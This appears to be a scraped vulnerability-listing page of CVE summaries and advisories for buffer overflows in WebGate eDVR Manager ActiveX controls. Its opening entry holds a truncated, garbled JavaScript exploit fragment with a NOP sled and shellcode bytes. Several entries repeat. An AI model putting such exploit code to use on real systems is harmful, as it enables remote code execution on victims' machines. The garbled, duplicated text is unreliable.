WebGate eDVR Manager - Remote Stack Buffer Overflow

var arg1 = ""; nops = ""; var buff = ""; fori=0;i"+"Lengths: arg1="+arg1.length+" seh="+seh.length+""; fori=0;i200;i++ nops += "\x90"; sc = "\x54\x5d\xda\xc9\xd9\x75\xf4\x59\x49\x49\x49\x49\x49" + "\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30" +...

WebGate WESPSDK WESPDiscovery Stack Buffer Overflow (CVE-2015-2100)

A code execution vulnerability exists in WebGate WESPSDK that is shipped with multiple WebGate products. The vulnerability is due to a stack buffer overflow in the TCPDiscovery and TCPDiscovery2 methods of the WESPDiscovery.WESPDiscoveryCtrl ActiveX control. A remote attacker could exploit this...

Multiple Buffer Overflow Vulnerabilities in WebGate eDVR Manager

WebGate is an APM solution for real-time monitoring and performance management of business-critical systems based on J2EE architecture. A buffer overflow vulnerability in the LoadImageEx method of WebGate eDVR Manager WESPMonitor.WESPMonitorCtrl.1 allows an attacker to construct a malicious web...

Remote Stack Buffer Overflow Vulnerability in Multiple WebGate Products

WebGate is an APM solution for real-time monitoring and performance management of business-critical systems based on J2EE architecture. WebGate eDVR Manager WESPDiscovery.WESPDiscoveryCtrl.1 control TCPDiscovery method suffers from a buffer overflow that allows an attacker to build a malicious we...

WebGate Webeye ActiveX Control Stack Based Buffer Overflow Vulnerability

The WebGate 'webeye.ocx' ActiveX control installed on the remote host is affected by a stack-based buffer overflow vulnerability due to improperly processing input to the 'ipaddress' parameter. A remote attacker, using specially crafted input, can exploit this to execute arbitrary code. C Tenable...

WebGate Control Center Multiple Control Buffer Overflow Vulnerability

WebGate is an APM solution for real-time monitoring and performance management of business-critical systems based on J2EE architecture. A buffer overflow vulnerability exists in multiple controls in WebGate Control Center, which allows attackers to exploit the vulnerability to build malicious web...

WebGate WinRDS WESPPlayback.WESPPlaybackCtrl.1 Control Stack Buffer Overflow Vulnerability

WebGate WinRDS is a set of high-definition IP camera and DVR storage management software from Webgate Korea. A stack buffer overflow vulnerability exists in the WESPPlayback.WESPPlaybackCtrl.1 control of WebGate WinRDS. A remote attacker can pass 'PrintSiteImage', 'PlaySiteAllChannel',...

WebGate eDVR Manager WESPMonitor.WESPMonitorCtrl.1 ActiveX Control Memory Misreference Vulnerability

WebGate eDVR Manager is an eDVR software manager from WebGate Korea. A memory misreference vulnerability exists in the 'Connect' function in the WESPMonitor.WESPMonitorCtrl.1 ActiveX control of WebGate eDVR Manager. A remote attacker could exploit this vulnerability to execute arbitrary code via ...

WebGate eDVR Manager WESPPTZ.WESPPTZCtrl.1 ActiveX Control Heap Buffer Overflow Vulnerability

WebGate eDVR Manager is an eDVR software manager from WebGate Korea. A heap buffer overflow vulnerability exists in the 'SetConnectInfo' function in the WESPPTZ.WESPPTZCtrl.1 ActiveX control of WebGate eDVR Manager. A remote attacker can exploit this vulnerability to execute arbitrary code via...

WebGate WebEyeAudio ActiveX Control Stack Buffer Overflow Vulnerability

WebGate WebEyeAudio ActiveX control is a Web-based camera audio control from WebGate Korea. A stack buffer overflow vulnerability exists in the 'Connect' function in the WebGate WebEyeAudio ActiveX control. A remote attacker can exploit this vulnerability to execute arbitrary code with the help o...

CVE-2015-2096

Use-after-free vulnerability in the Connect function in the WESPMonitor.WESPMonitorCtrl.1 ActiveX control in WebGate eDVR Manager allows remote attackers to execute arbitrary code via an invalid IP address and a page reload...

CVE-2015-2095

Heap-based buffer overflow in the SetConnectInfo function in the WESPPTZ.WESPPTZCtrl.1 ActiveX control in WebGate eDVR Manager allows remote attackers to execute arbitrary code via crafted arguments...

CVE-2015-2094

Stack-based buffer overflow in the WESPPlayback.WESPPlaybackCtrl.1 control in WebGate WinRDS allows remote attackers to execute arbitrary code via unspecified vectors to the 1 PrintSiteImage, 2 PlaySiteAllChannel, 3 StopSiteAllChannel, or 4 SaveSiteImage function...

Design/Logic Flaw

Use-after-free vulnerability in the Connect function in the WESPMonitor.WESPMonitorCtrl.1 ActiveX control in WebGate eDVR Manager allows remote attackers to execute arbitrary code via an invalid IP address and a page reload...

CVE-2015-2094

Stack-based buffer overflow in the WESPPlayback.WESPPlaybackCtrl.1 control in WebGate WinRDS allows remote attackers to execute arbitrary code via unspecified vectors to the 1 PrintSiteImage, 2 PlaySiteAllChannel, 3 StopSiteAllChannel, or 4 SaveSiteImage function...

Heap overflow

Heap-based buffer overflow in the SetConnectInfo function in the WESPPTZ.WESPPTZCtrl.1 ActiveX control in WebGate eDVR Manager allows remote attackers to execute arbitrary code via crafted arguments...

Stack overflow

Stack-based buffer overflow in the Connect function in the WebGate WebEyeAudio ActiveX control allows remote attackers to execute arbitrary code via a crafted value...

CVE-2015-2097

Multiple buffer overflows in WebGate Embedded Standard Protocol WESP SDK allow remote attackers to execute arbitrary code via unspecified vectors to the 1 LoadImage or 2 LoadImageEx function in the WESPMonitor.WESPMonitorCtrl.1 control, 3 ChangePassword function in the WESPCONFIGLib.UserItem...

Stack overflow

Stack-based buffer overflow in the WESPPlayback.WESPPlaybackCtrl.1 control in WebGate WinRDS allows remote attackers to execute arbitrary code via unspecified vectors to the 1 PrintSiteImage, 2 PlaySiteAllChannel, 3 StopSiteAllChannel, or 4 SaveSiteImage function...

CVE-2015-2095

Heap-based buffer overflow in the SetConnectInfo function in the WESPPTZ.WESPPTZCtrl.1 ActiveX control in WebGate eDVR Manager allows remote attackers to execute arbitrary code via crafted arguments...